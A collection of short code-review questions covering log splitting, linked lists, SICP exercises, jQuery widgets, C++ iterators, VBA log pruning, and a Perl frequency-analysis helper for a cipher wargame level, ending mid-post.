texts:
I've written a quick script for a coworker to split a large CAN log into smaller chunks.  (If you're not familiar with CAN, it's a communication protocol used by the ECUs in many cars.)  I know where to split because I've inserted dummy CAN messages (with ID 0x00) at the start of each section, and one at the end of testing (which may be somewhere in the middle of the log) to tell me when to stop reading.

The log is in .asc or .csv format, and can be several gigabytes in size.  Currently I can process a 1.5GB file in about 40 seconds, but I'm sure that can be improved.  I'm looking more for advice on how to speed this up than to make it more Pythonic, but of course criticism is welcome in both areas.

Note: titles is a dictionary mapping section numbers to a particular string that needs to be added to the filename before saving.  I can add the code for generating these, but I don't believe it's as relevant.

def split_asc_file(target_file, target_dir, titles):

    import os
    import time

    start_time = time.time()

    if not os.path.isdir(target_dir):
        os.mkdir(target_dir)
    os.chdir(target_dir)

    section = None

    def create_title(message_string):
        req_num = int(message_string[0:8])
        obj_num = int(message_string[8:16])

        if req_num == 0 and obj_num == 0:
            print "Splitting completed in {} seconds".format(time.time() - start_time)
            quit()  # final test has been executed
        else:
            at = "AT{}_{}".format(req_num, obj_num)
            title_prefix = titles[at]
            title_string = "{}_{}.asc".format(title_prefix, at)
            return title_string

    def can_traffic_only(f):
        # iterate only over lines that contain messages
        for line in f:
            if len(line.split()) == 14:
                yield line

    with open(target_file) as log:
        print "Opening {}...".format(target_file)
        for message in can_traffic_only(log):
            values = message.split()
            can_id = values[2]
            can_data = "".join(values[6:])

            if can_id == "0":
                if section:
                    section.close()
                title = create_title(can_data)
                if title:
                    print "Creating {}".format(title)
                    section = open(title, "w")
            else:
                if section:
                    section.write(message)

    print "Splitting completed in {} seconds".format(time.time() - start_time)


texts: Remove odd valued nodes from linked list

texts:
The function remove_odd is to remove odd valued nodes (surprise!!) from the linked list head. The code is very long and cryptic but it seems to work.

Please help me reduce the lines of code and are there any cases that I might have missed.

void rem_odd(struct Node** head)
{
    struct Node* curr=*head;
    struct Node* l_even=NULL; //l_even stores the last even number node address
    while(curr!=NULL&&curr->data%2!=0)
    {
        *head=curr->next;
        if(curr->next==NULL)
            return;
        curr=curr->next;
    }
    l_even=curr;
    while(curr!=NULL)
    {
        if(curr->next==NULL)
            return;
        while(curr!=NULL&&curr->next->data%2!=0)
        {

            if (curr->data%2!=0)
            {
                printf("if ");
                if(curr->next==NULL)
                {
                    l_even->next=NULL;
                    return;
                }
                curr=curr->next;
                l_even->next=curr;
                if(curr->next==NULL)
                {
                    l_even->next=NULL;
                    return;
                }
                continue;
            }
            curr=curr->next;
            if(curr->data %2!=0 &&curr->next==NULL)
            {
                l_even->next=NULL;
                return;
            }
        }
        if(curr->next==NULL)
        {
            l_even->next=NULL;
        }
        else
        {
            l_even->next=curr->next;
            l_even=curr->next;
        }
        curr=curr->next;
    }
}


texts: SICP - exercise 2.3 - Implement a representation for rectangles in a plane

texts:
Exercise 2.3.  Implement a representation for rectangles in a plane. (Hint: You may want to make use of exercise 2.2.) In terms of
  your constructors and selectors, create procedures that compute the
  perimeter and the area of a given rectangle. Now implement a different
  representation for rectangles. Can you design your system with
  suitable abstraction barriers, so that the same perimeter and area
  procedures will work using either representation?

Here is one of my representations. It seems that I've set too much "abstraction barriers", and am breaking some of them. Please tell me how to erect suitable abstraction barriers between different parts of a program.

;;; Exercise 2.3
;;; ============

(define (peri-rect r)
  (* 2 (+ (length-rect r)
          (width-rect r))))
(define (area-rect r)
  (* (length-rect r)
     (width-rect r)))

;; Representation 1: two line segments

; Abstraction barrier

(define (length-rect r)
  (len (side1-rect r)))
(define (width-rect r)
  (len (side2-rect r)))
(define (len s)
  (dist (start-segment s)
        (end-segment s)))
(define (print-rect r)
  (print-segment (side1-rect r))
  (print-segment (side2-rect r)))

; Abstraction barrier

(define (make-rect s1 s2)
  (cond ((not (segment-common-endpoint? s1 s2))
         (error "Line segments have no common endpoint"))
        ((not (segment-perpendicular? s1 s2))
         (error "Line segments not prependicular to each other"))
        (else
          (cons s1 s2))))
(define (side1-rect r)
  (car r))
(define (side2-rect r)
  (cdr r))

; Abstraction barrier

(define (len s)
  (dist (start-segment s)
        (end-segment s)))
(define (segment-common-endpoint? s1 s2)
  (or (point-equal? (start-segment s1)
                    (start-segment s2))
      (point-equal? (start-segment s1)
                    (end-segment s2))
      (point-equal? (end-segment s1)
                    (start-segment s2))
      (point-equal? (end-segment s1)
                    (end-segment s2))))
(define (segment-perpendicular? s1 s2)
  (vector-perpendicular? (make-vector s1)
                         (make-vector s2)))
(define (print-segment s)
  (print-point (start-segment s))
  (print-point (end-segment s)))

; Abstraction barrier

(define (vector-inner-product v1 v2)
  (+ (* (x-point v1) (x-point v2))
     (* (y-point v1) (y-point v2))))
(define (vector-perpendicular? v1 v2)
  (= (vector-inner-product v1 v2) 0))
(define (print-vector v)
  (print-point (x-vector v))
  (print-point (y-vector v)))

; Abstraction barrier

(define (make-vector s)
  (cons (- (x-point (end-segment s))
           (x-point (start-segment s)))
        (- (y-point (end-segment s))
           (y-point (start-segment s)))))
(define (x-vector v)
  (car v))
(define (y-vector v)
  (cdr v))

; Abstraction barrier

(define (make-segment p1 p2)
  (cons p1 p2))
(define (start-segment s)
  (car s))
(define (end-segment s)
  (cdr s))

; Abstraction barrier

(define (dist p1 p2)
  (sqrt (+ (square (- (x-point p1)
                      (x-point p2)))
           (square (- (y-point p1)
                      (y-point p2))))))
(define (point-equal? p1 p2)
  (and (= (x-point p1) (x-point p2))
       (= (y-point p1) (y-point p2))))
(define (print-point p)
  (newline)
  (display "(")
  (display (x-point p))
  (display ",")
  (display (y-point p))
  (display ")"))

; Abstraction barrier

(define (make-point x y)
  (cons x y))
(define (x-point p)
  (car p))
(define (y-point p)
  (cdr p))

; Testing
(define p1 (make-point 0 0))
(define p2 (make-point 2 2))
(define p3 (make-point 0 0))
(define p4 (make-point 1 -1))
(print-point p1)
;(0,0)
(define seg1 (make-segment p1 p2))
(define seg2 (make-segment p3 p4))
(print-segment seg1)
;(0,0)
;(2,2)
(define rect (make-rect seg1 seg2))
(print-rect rect)
;(0,0)
;(2,2)
;(0,0)
;(1,-1)
(peri-rect rect)
;Value: 8.485281374238571
(area-rect rect)
;Value: 4.000000000000001


texts: Load stylesheet for "rem" value fallback to "px"

texts:
I'm applying fallbacks to rem values only if required (you know, the whole progressive enhancement train), without conditional comments (because it's not just an IE issue) and without additional lines of CSS for fallbacks all over the place. I'm just checking for the edge cases (userAgent) and adding a stylesheet into the head only when these come into play. This stylesheet has overrides to apply px values where needed.

I'm aware modernizr.js does a great job of detection and I would only need to use .no-cssremunit (I've used it before) but I'm not using modernizr anywhere else and think it unnecessary to load a new library for only this, if I'm wrong, please correct me.

rem support issues in question

  Samsung Note 2 (Android 4.3) doesn't support rem
  lte IE8 doesn't support rem values
  Opera Mini doesn't support rem values

Source, the other "issues" with rem's do not apply here.

I wrote this and it seems to be working well in IE <9 and Opera Mini (I'm unable to really test with a Note 2 with Android 4.3 at this time, will soon). BUT not being a JavaScript/jQuery developer I wanted to have another set of eyes on this to see if it is a good approach. Am I missing anything that could throw a wrench into it?

/* detect opera mini */
var isOperaMini = (navigator.userAgent.indexOf("Opera Mini") > -1);

/* userAgent detect (Samsung Note 2 -- Android 4.3) */
var isNoteTwo = (navigator.userAgent.match("Mozilla/5.0 (Linux; U; Android 4.3; de-de; SAMSUNG GT-N7105/N7105XXUENA1 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30"));

/*  <ie8 -- addEventListener not supported by IE8 or later */
var isltIE9 = (!document.addEventListener);

/* if either variable matches, import stylesheet */
if (isOperaMini || isNoteTwo || isltIE9) {
    var css = document.createElement("link");
    css.rel = "stylesheet";
    css.href = "css/rem-fallback.css";
}


texts:
Following the paradigms of SCARY iterators, there should only be a single iterator-type for contiguous iterators per value-type.
Here my code for that iterator, working with C++11+:

#include <type_traits>
#include <iterator>

template<class T, class U>
struct is_more_cv_qualified : std::integral_constant<bool, std::is_same<T, const volatile U>{}
    || std::is_same<T, const U>{} || std::is_same<T, volatile U>{}>;

struct contiguous_iterator_tag : std::random_access_iterator_tag {};
struct mutable_contiguous_iterator_tag : contiguous_iterator_tag, std::output_iterator_tag {};

template<class T>
struct contiguous_iterator_base {
    constexpr bool operator==(contiguous_iterator_base other) const noexcept { return _p == other.p; }
    constexpr bool operator!=(contiguous_iterator_base other) const noexcept { return _p != other.p; }
    constexpr bool operator<(contiguous_iterator_base other) const noexcept { return _p < other._p; }
    constexpr bool operator>(contiguous_iterator_base other) const noexcept { return _p > other._p; }
    constexpr bool operator<=(contiguous_iterator_base other) const noexcept { return _p <= other._p; }
    constexpr bool operator>=(contiguous_iterator_base other) const noexcept { return _p >= other._p; }
    constexpr std::ptrdiff_t operator-(contiguous_iterator_base other) const noexcept { return _p - other._p; }
protected:
    constexpr contiguous_iterator_base& operator=(const contiguous_iterator_base&) noexcept = default;
    T* _p = nullptr;
};

template<class T>
struct contiguous_iterator : contiguous_iterator_base<std::remove_cv<T>::type>
, std::iterator<typename std::conditional<std::is_const<T>{}, contiguous_iterator_tag, mutable_contiguous_iterator_tag>::type, T> {
    constexpr contiguous_iterator() noexcept = default;
    template<class U, class = std::enable_if<is_more_cv_qualified<T, U>{}>::type>
    constexpr contiguous_iterator(contiguous_iterator<U> other) noexcept : contiguous_iterator_base<std::remove_cv<T>::type>(other) {}
    constexpr explicit contiguous_iterator(contiguous_iterator_base<std::remove_cv<T>::type> other) noexcept : decltype(other)(other) {}
    constexpr explicit contiguous_iterator(T* p) noexcept { _p = const_cast<decltype(_p)>(p); }
    template<class U>
    constexpr contiguous_iterator<U> rebind() const noexcept { return contiguous_iterator<U>(_p); }
    constexpr T* operator->() const noexcept { return  _p; }
    constexpr T& operator* () const noexcept { return *_p; }
    constexpr T& operator[](std::ptrdiff_t d) const noexcept { return _p[d]; }
    constexpr contiguous_iterator& operator++() noexcept { ++_p; return *this; }
    constexpr contiguous_iterator operator++(int) noexcept { auto r = *this; ++*this; return r; }
    constexpr contiguous_iterator& operator--() noexcept { --_p; return *this; }
    constexpr contiguous_iterator operator--(int) noexcept { auto r = *this; --*this; return r; }
    constexpr contiguous_iterator& operator+=(std::ptrdiff_t d) noexcept { _p += d; return *this; }
    constexpr contiguous_iterator& operator-=(std::ptrdiff_t d) noexcept { _p -= d; return *this; }
    constexpr contiguous_iterator operator+(std::ptrdiff_t d) const noexcept { return contiguous_iterator(_p) += d; }
    constexpr contiguous_iterator operator-(std::ptrdiff_t d) const noexcept { return contiguous_iterator(_p) -= d; }
protected:
    using contiguous_iterator_base<std::remove_cv<T>::type>::_p;
};

// smoke test

int main() {
    contiguous_iterator_base<int>{};
    contiguous_iterator<int> a;
    contiguous_iterator<const int> b;
    b = a;
    a = b.rebind<int>();
    //a.rebind<char>(); error
}


texts:
After implementing some logging in my system, I got tired of digging through very long files trying to determine where specific runs started/stopped to look for differences, so I began adding a date/time stamp to the file name so I'd get a new log file each time the processing kicked off. This was wonderful, but solving one problem created a new one - now I have a proliferation of log files and I have to keep the collection of files under control.

I've written the following procedure to do the pruning and it works quite well. I'm wondering if there are any gotcha's I may have missed in my extensive (2 hours of) testing, or if there are any more efficient ways of doing this.

I believe the implementation is fairly efficient. There's no need to keep a list of the naxLogsToKeep newest (or oldest) files in memory, only the one I'm looking at now and the one known to be the oldest I've looked at so far. By not having an array, collection, dictionary or other structure of all the files, there's no need to sort anything, so this should be fairly efficient. But, I don't know it all, so I'm open to suggestions.

There are some situations that I'm aware of:

What happens if filePath doesn't have a trailing slash? It's already been checked in the calling procedure. I suppose it should be checked here again, just in case I ever reuse this code.
The error handling is... weak. Yup. I threw something in there just for giggles and grins, but will probably remove it and let it bubble up to be dealt with at a higher level.
It doesn't work well if there are more than maxLogsToKeep logs. Since Dir() gives you no indication whatsoever of what order you'll get files, if there are extra files than this will delete the oldest one(s) it's come across when it hits maxLogsToKeep. I'm pretty sure, in my limited testing, that it will work just fine, once there are only maxLogsToKeep log files in the given directory.

With that, the code:

Private Sub DeleteExtraLogFiles(ByVal filePath As String, ByVal fileNamePattern As String, ByVal maxLogsToKeep As Long)

  On Error GoTo ErrorHandler

  Dim fileCount As Long

  Dim oldestFileDate As Date
  oldestFileDate = #12/31/3999#

  Dim currentFile As String
  currentFile = Dir(filePath & fileNamePattern)

  Do While Len(currentFile) > 0
    fileCount = fileCount + 1
    Dim currentFileDate As Date
    currentFileDate = FileDateTime(filePath & currentFile)
    If fileCount < maxLogsToKeep Then
      If currentFileDate < oldestFileDate Then
        Dim oldestFile As String
        oldestFile = currentFile
        oldestFileDate = currentFileDate
      End If
    Else
      If currentFileDate < oldestFileDate Then
        Kill filePath & currentFile
      Else
        Kill filePath & oldestFile
        oldestFile = currentFile
        oldestFileDate = currentFileDate
      End If
    End If
    currentFile = Dir
  Loop

CleanExit:
  Exit Sub

ErrorHandler:
  With Err
    MsgBox "Error: " & .Number & vbCrLf & .Description
  End With
  Resume CleanExit

End Sub


texts: Emptying and populating an element in jQuery

texts:
I have written the following function to empty and then populate multiple elements using jQuery:

function drawHumanCard()
{
    var random = generateRandom();

    var humanEl = $('#human');

    humanEl.find('#human-name').empty().text(cards[random]['name']);
    humanEl.find('#human-job').empty().text(cards[random]['job']);
    humanEl.find('#human-image').attr('src', 'img\/trumps\/' + cards[random]['image']);
}

var cards = [
    new TopTrumpCard('Name 1', 'designer', 'image1.jpg'),
    new TopTrumpCard('Name 2', 'designer', 'image2.jpg'),
    new TopTrumpCard('Name 3', 'designer', 'image3.jpg')
];

function TopTrumpCard(name, job, image)
{
    this.name       = name;
    this.job        = job;
    this.image      = image;
}

function generateRandom()
{
    var objCount = Object.keys(cards).length - 1;
    var number   = Math.floor(Math.random() * (objCount - 0 + 1)) + 0;

    return number;
}

What the drawHumanCard function does:

var random is a randomly generated number between a specific range. The range is 0 and number of cards array keys.

cards is a variable that contains an array of data. The random variable is used to target a specific key in the cards array.

From then on, I've defined 3 elements. 2 of which require the text to be changed and 1 that requires the image src attribute value to be changed.

What would be the best way to write this in a cleaner way?

I was thinking about defining the jQuery element objects in an array and then running an each loop.

As you can see, I am using jQuery for this, but am happy to go with vanilla JS too.


texts: C++ algorithm that rearranges linked list based on pivot

texts:
I wrote a small algorithm in C++ that rearranges linked list based on pivot. But my concern is that code is ugly with all the pointers and ->. I don't think that modern C++ is written like this.
How do I improve this code?

#include <iostream>
#include <string>

class Node {
public:
    int value;
    Node* next;
    Node(int n) {
        value = n;
        next = NULL;
    };

    Node* partition(int around, Node* node) {
        Node* head = node;
        Node* tail = node;
        Node* temp = node;

        while (temp != NULL) {
            Node *next = temp->next;
            if (temp->value < around) {
                temp->next = head;
                head = temp;
            } else {
                tail->next = temp;
                tail = temp;
            }
            temp = next;
        }

        tail->next = NULL;
        return head;
    }

    void printList() {
        Node *node = this;
        std::cout << "List: ";
        while (node) {
            std::cout << node->value << " ";
            node = node->next;
        }
        std::cout << std::endl;
    }
};

int main() {

    Node n0 = Node(6);
    Node n1 = Node(5);
    Node n2 = Node(4);
    Node n3 = Node(3);
    Node n4 = Node(2);
    Node n5 = Node(1);

    n0.next = &n1;
    n1.next = &n2;
    n2.next = &n3;
    n3.next = &n4;
    n4.next = &n5;

    n0.printList();
    Node *result = n0.partition(3, &n0);
    result->printList();

    return 0;
}


texts: Optimize jQuery image gallery for production

texts:
I can't seem to find a very simple light weight image gallery, so I decided to build my own. I'm not an expert in jQuery/JavaScript, so I was hoping some suggestions could be made to make this production material. I have a working example on jsfiddle.

data-rel will end up being the full size image URL while img src will become the thumb url. I'd like to limit full size images from having to be all loaded at once on page render.

jsFiddle

test

prev

next

JavaScript

$("#gallery img").first().load(function(){
    activeImg($(this));
});

$("#gallery img").on('click, mouseover', function(){
    activeImg($(this));
});

$('#button-next').click(function(){
    var isLast = $('#gallery img.active').is(':last-child');

    if (isLast) {
        activeImg($('#gallery img').first());
    } else {
        activeImg($('#gallery img.active').next());
    }
});

$('#button-previous').click(function(){
    var isFirst = $('#gallery img.active').is(':first-child');

    if (isFirst) {
        activeImg($('#gallery img').last());
    } else {
        activeImg($('#gallery img.active').prev());
    }
});

var activeImg = function($img) {
    $('.active').removeClass('active');

    var imgUrl = $img.addClass('active').data('rel');
    $("#area").html("");
};

CSS

#button-previous {float:left;}
#button-next {float:right;}
img{border:1px solid #000}
img.active{border-color:red}


texts:
i had made a simple parallel sorting for my personal games. it did well so far, but i would like to get some advises about how to improve it further or perhaps there are an alternative methods for better sorting data.
#include <iostream>
#include <cassert>
#include <iomanip>
#include <functional>
#include <utility>
#include <vector>
#include <thread>
#include <future>
#include <random>
#include <algorithm>

template<typename T, typename C = std::less<T>>
void parallel_sort(T* data, std::size_t len, std::size_t grainsize, const C& comp = C())
{
    // Use grainsize instead of thread count so that we don't e.g.
    // spawn 4 threads just to sort 8 elements.
    if (len < grainsize)
    {
        std::sort(data, data + len, comp);
    }
    else
    {
        auto future = std::async(parallel_sort<T, C>, data, len / 2, grainsize, comp);

        // No need to spawn another thread just to block the calling
        // thread which would do nothing.
        parallel_sort(data + len / 2, len / 2, grainsize, comp);

        future.wait();

        std::inplace_merge(data, data + len / 2, data + len, comp);
    }
}

int main()
{
    auto eval = [](auto fun) {
        const auto t1 = std::chrono::high_resolution_clock::now();
        const auto [name, result] = fun();
        result();
        const auto t2 = std::chrono::high_resolution_clock::now();
        const std::chrono::duration<double, std::milli> ms = t2 - t1;
        std::cout << std::fixed << std::setprecision(1) << name << " took " << ms.count() << " ms\n";
    };

    using ints_t = std::vector<int>;
    ints_t ints(200); // *Not* ints{200}!
    std::generate(std::begin(ints), std::end(ints), std::rand);
    {
        ints_t l{ ints };
        eval([&l] { return std::pair{ "parallel_sort",
            [&l] { return parallel_sort(l.data(), l.size(), l.size() / std::thread::hardware_concurrency()); } }; });
        assert(std::is_sorted(std::begin(l), std::end(l)));
    }
    {
        ints_t l{ ints };
        eval([&l] { return std::pair{ "std::sort",
            [&l] { return std::sort(std::begin(l), std::end(l)); } }; });
        assert(std::is_sorted(std::begin(l), std::end(l)));
    }
}


texts: Best practice of HTML DOM template in javascript

texts:
Of course the when this select is comes with less options it will be better to leave it like this, and when it comes more then this it better to make it via loop.
The question is that if I should make it loop or leave it as it is ?
which way is the best and why ?

var htmlTemplate =
    "<select class='action cycle' auto='1' value='24'>" +
        "<option value='6'>6 hours</option>" +
        "<option value='12'>12 hours</option>" +
        "<option value='24' selected=''>24 hours</option>" +
        "<option value='48'>48 hours</option>" +
        "<option value='72'>72 hours</option>" +
    "</select>";

Also, in my current project I'm making 'Add' button which creates some html dom elements.
My question is if I should leave the code inside string or create it via javascript (createElement) and again, I would like to know what is the best way and why :)

var htmlTemplate = "class='target-unit' identify='blahblah'";
htmlTemplate = "
" +
                    "" + targetPlace + "" +
                    "<select class='action campaign'>" + targetOptions + "</select>" +
                    "5000" +
                    "<select class='action cycle' auto='1' value='24'>" +
                    "<option value='6'>6 hours</option>" +
                    "<option value='12'>12 hours</option>" +
                    "<option value='24' selected=''>24 hours</option>" +
                    "<option value='48'>48 hours</option>" +
                    "<option value='72'>72 hours</option>" +
                    "</select>" +
                    "<button class='action small button-icon add flr no-title' identify='target-add'></button>" +
                "
";


texts:
I want to create react app with paging, which will keep state on page reloading.
I'm using react-router-dom and my own Paging component.
Currently I'm passing updateRoute function into SmthWithPaging component.

Is there simpler (or just correct?) way to update route inside component?

Surely, I can do it inside SmthWithPaging component by spliting path by /, replace the number and push new path to history. But in this case child component will have some knowlege about parent component and how its routing works. Which is undesirable.

App.js

import React, {Component}  from 'react';
import {BrowserRouter as Router, Route}  from 'react-router-dom';
import SmthWithPaging from './SmthWithPaging.js';

class App extends Component {
  render() {
    return (
      <Router>
        <Route
          path='page/:number'
          render={ ({history, match}) => (
            <SmthWithPaging
              currentPage={match.params.number}
              updateRoute={number =>
                history.push(match.path.replace(':number', number))}
            />
          )}
        />
      </Router >
    );
  }
}

SmthWithPaging.js

import React, {Component}  from 'react';
import Paging from './Paging.js';

class SmthWithPaging extends Component {
  constructor(props) {
    this.state = {currentPage: props.currentPage};
    this.updateRoute = props.updateRoute;
    this._handlePageChange = this._handlePageChange.bind(this);
  }

  async _handlePageChange(pageNumber) {
    this.updateRoute(pageNumber);
    //fetch some data related to the page and set it to the state
    this.setState({currentPage: pageNumber});
  }

  render() {
    return (
      //render some page related data
      <Paging
        onPageChange={this._handlePageChange}
        activePage={this.state.currentPage}
        pageCount={10}
      />
    );
  }
}


texts:
I have the following implementation which does the following
There are incoming download tasks and downloads need to be done concurrently. Each download task has its own following task and when a download ends, relative process starts. Download and Process classes are not of concern. Is this a good practice? How can I enhance this?
Task interface
public interface Task {

}

Blocking Task interface
public interface BlockingTask {
    void setNext(Task task);
}

DownloadTask
public class DownloadTask implements BlockingTask {
    private Download download;
    private Task task;

    public DownloadTask(Download download) {
        this.download = download;
    }

    public void setAfter(Task task) {
        this.task = task;
    }

    public Task call() {
        download.start();
        return task;
    }
}

ProcessTask
public class ProcessTask implements Task {
    private Process process;

    public ProcessTask (Process process) {
        this.process = process;
    }

    public Task call() {
        process.start();
        return null;
    }
}

TaskOperator
public class TaskOperator implements Runnable {
    private final ExecutorService executor = Executors.newCachedThreadPool();
    private CompletionService<Task> completionService = new ExecutorCompletionService(Executors.newCachedThreadPool());

    public void put(Task task) {
        completionService.submit(task);
    }

    public void listenTasks() {
        while (true) {
            try {
                Future<Task> future = completionService.take();
                Task task = future.get();
                executor.submit(task);
            } catch (InterruptedException e) {
                //log
                Thread.currentThread().interrupt();
            } catch (ExecutionException e) {
                //log
            }
        }
    }

    public void run() {
        listenTasks();
    }

}


texts: Letter frequency analysis (Breaking Vigenere)

texts:
I'm trying to improve my Perl and am doing some wargames online. I wrote a small utility to help me pass a stage.

  The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker.

  However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file ‘krypton4’. You have also found 3 other files. (found1, found2, found3)

  You know the following important details

  The message plaintexts are in English
  They were produced from the same key
  The cyphertexts are UPPERCASE
  The ciphertexts in blocks of 5

#!/usr/bin/perl

use strict;
use warnings;
use feature 'say';

use File::Slurp;

my @FILENAMES = ("found1", "found2", "found3");
my @LETTERS = ("A" .. "Z");
my @ENGLISH_FREQ = ("E", "T", "A", "O", "I", "N", "S",
                    "H", "R", "D", "L", "C", "U", "M",
                    "W", "F", "G", "Y", "P", "B", "V",
                    "K", "J", "X", "Q", "Z");

my $ENCRYPTED_STRING = read_file("krypton4");
$ENCRYPTED_STRING =~ s/\s+//g;

sub count_frequency {
    my ($string) = @_;
    my %occurences = count_occurence($string);
    return map { $_ => $occurences{$_} / length($string) } keys %occurences;
}

sub count_occurence {
    my ($string) = @_;
    my %frequency = map { $_ => 0 } @LETTERS;
    foreach (split //, $string) {
        $frequency{$_}++;
    }
    return %frequency;
}

sub get_single_key {
    my (%text_freq) = @_;
    my @text = ();
    foreach my $name ( sort { $text_freq{$b} <=> $text_freq{$a} } keys %text_freq ) {
        push @text, $name;
    }
    return map { $text[$_] => $ENGLISH_FREQ[$_] } (0 .. $#text);
}

foreach (@FILENAMES) {
    # Read the text
    my $text = read_file($_);
    $text =~ s/\s+//g;

    # Perform Letter Frequency Analysis
    my %cypher_key = get_single_key(count_frequency($text));

    # Try to decrypt the text
    foreach (split //, $ENCRYPTED_STRING) {
        print "$cypher_key{$_}";
    }
    say "";
}

It was some puzzling afterwards, but it did its job.


texts: How to improve this jQuery code for tabs

texts:
I'm quite new to javaScript and jQuery and wrote the following function to creat some dynamic tabs. I'd be very interested to know how professional programmers would improve this code.

jsFiddle

JavaScript

$(document).ready(function(){

function createVerticalTabs(options){

    var container = options["container"];
    var parentElement = options["parentElement"];
    var childElement = options["childElement"];
    var firstElement = options["firstElement"];
    var tabClass = options["tabClass"];
    var tabClassActive = options["tabClassActive"];
    var closeOtherElements = options["closeOtherElements"]
    var preventEvent = options["preventEvent"];

    if(firstElement){
        $(container+" "+childElement).not(":first").hide();
        classToggle($(container+" "+childElement+":first").prev(parentElement), tabClass, tabClassActive);
    }else{
        $(container+" "+childElement).hide();
    }

    /* Click event */
    $(container+" > "+parentElement).on("click", function(event){
        if(preventEvent == true){
            event.preventDefault();
        }

        /* Check if there're other active elements and close them if requested*/

        if(closeOtherElements){
            var otherActiveElement = $(this).parent().children(childElement);

            if($(otherActiveElement).is(":visible")){
                $(otherActiveElement).slideUp("slow");
                classToggle($(otherActiveElement).prev(parentElement), tabClassActive, tabClass);
            }
        }

        /* Show requested element */
        var details = $(this).next(childElement);

        if($(details).is(":visible")){
            classToggle($(this), tabClassActive, tabClass);
            $(details).slideUp("slow");
        }else{
            classToggle($(this), tabClass, tabClassActive);
            $(details).slideDown("slow");
        }

    });

    function classToggle(obj, remove, add){
        return obj.removeClass(remove).addClass(add);
    }

}

var options = {
    container: ".testBox",
    parentElement: "a",
    childElement: "p",
    tabClass: "title",
    tabClassActive: "active",
    firstElement: true,
    closeOtherElements: true,
    preventEvent: true
};

var options2 = {
    container: ".testBox2",
    parentElement: "h3",
    childElement: "p",
    tabClass: "title",
    tabClassActive: "active",
    firstElement: false,
    closeOtherElements: false,
    preventEvent: true
};

createVerticalTabs(options);
createVerticalTabs(options2);
});

HTML

    Anchor 1
Details of Anchor 1

    Anchor 2
Details of Anchor 2

    Anchor 3
Details of Anchor 3

    Anchor 4
Details of Anchor 4

Anchor 1

Details of Anchor 1

Anchor 2

Details of Anchor 2

Anchor 3

Details of Anchor 3

Anchor 4

Details of Anchor 4

CSS

.testBox, .testBox2{ float:left; height:500px; margin:10px; }
.testBox a{ display:block; }

.testBox2 h3{ margin:0; padding:0; }

.title{ font-weight:bold; }
.active{ background:#333; border:#000 1px solid; color:#fff; }


texts: Repetitive controller with all methods nearly identical

texts:
I have an API with the following code

    class API::V1::ReceptionController < API::V1::APIController
      before_filter :ensure_document_exists

      def produto
        jid = ProdutoWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end

      def cliente
        jid = ClienteFornecedorWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end

      def nota_fiscal
        jid = NotaFiscalWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end

      def venda
        jid = VendaWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end

      def reducaoz
        jid = ReducaoZWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end

      def impressora_fiscal
        jid = ImpressoraFiscalWorker.perform_async params[:document]
        render json: {jid: jid}, :status => 200
      end
..............

and so on. What happens is: every method call a different worker, but all the body's methods are pretty much the same. My question is: how can I reduce this methods to maybe just one?


texts:
I'm trying to go through Adrian simple programming tasks; Elementary task 8     It's basically asking for an infinite loop to print every prime number as it finds it.

Are there too many if statements? Call it intuitive knowledge, but something is just bugging me, like I'm missing something. Like, I can remove one of the if statements. So I'm wondering what you guys will find.

package main

import "fmt"

func main() {
    var current_prime int
    var prime bool
    current_prime = 0

    for {
        prime = true
        current_prime++

        for i := 2; i < current_prime; i++ {
            if current_prime % i == 0 {
                prime = false
                i = current_prime
            }
        }

        if prime {
            fmt.Println("found prime:", current_prime);
        }
    }
}


texts:
I have n-times similar statements

    if trigger_data.tt_closed
      unless trouble_ticket.changes.key?(:status)
        @run = 0
        break
      end
      unless trouble_ticket.changes[:status][1] == "Closed"
        @run = 0
        break
      end
    end

    if trigger_data.tt_assignee
      unless trouble_ticket.changes.key?(:assigned_to)
        @run = 0
        break
      end
      unless trouble_ticket.changes[:assigned_to][1] == trigger_data.tt_assignee
        @run
        break
      end
    end

How to refactoring that code? Maybe dynamic statement build with pass some hash to input. I'm newbie in metaprogramming. Give me advise please


texts: Lookup an array against another with performance

texts:
I got an initial array, I am checking against another array to find how many objects have at least one instance of the Domain in data.
I wonder if there is a more performant way to achieve the same goal.

const data = [
  {
    Domain: 'google.com',
    '# Reocurring Domains': 0
  },
  {
    Domain: 'apple.com',
    '# Reocurring Domains': 0
  },
  {
    Domain: 'facebook.com',
    '# Reocurring Domains': 0
  }
]

const domains = [
  {
    'google.com': true,
    'microsoft.com': true,
    'google.com': true
  },
  {
    'apple.com': true,
    'microsoft.com': true,
    'twitter.com': true
  },
  {
    'facebook.com': true,
    'apple.com': true,
    'facebook.com': true
  }
]

for (const obj of data) {
  let count = 1
  for (const entry of domains) {
    if (entry[obj.Domain]) {
      obj['# Reocurring Domains'] = count++
    }
  }
}

console.log(data)

In there any way to this with a more performant approach?


texts: Simple function that simulates survey results based on sample size and probability

texts:
What is this:

This is a simple function, part of a basic Monte Carlo simulation. It takes sample size and probability as parameters. It returns the simulation result (positive answers) plus the input parameters in a tuple.

What I'm asking:

I'm trying to avoid using temporary variables, I have two questions.

Do I really save memory by avoiding storing interim results?
How could I improve readability without adding variables?

def simulate_survey(sample_size, percent_subscribes):
    return (
        sample_size,
        percent_subscribes,
        round(
            (
                sum([
                    r.random() < percent_subscribes
                    for _ in range(sample_size)
                ]) / sample_size
            ),
            2
        )
    )


texts:
I've got a tab menu and functions that change the tab's color on click, giving the clicked tab a different color from the others. The thing is, when I click one, I give it another background-color easily but I'm also setting all the other tabs background-color.

In my largest menu there are 6 tabs:

document.getElementById('tab1').onclick = changeColor1;
document.getElementById('tab2').onclick = changeColor2;
document.getElementById('tab3').onclick = changeColor3;
document.getElementById('tab4').onclick = changeColor4;
document.getElementById('tab5').onclick = changeColor5;
document.getElementById('tab6').onclick = changeColor6;

function changeColor1() {
    document.getElementById('tab1').style.backgroundColor = "white";
    document.getElementById('tab2').style.backgroundColor = "silver";
    document.getElementById('tab3').style.backgroundColor = "silver";
    document.getElementById('tab4').style.backgroundColor = "silver";
    document.getElementById('tab5').style.backgroundColor = "silver";
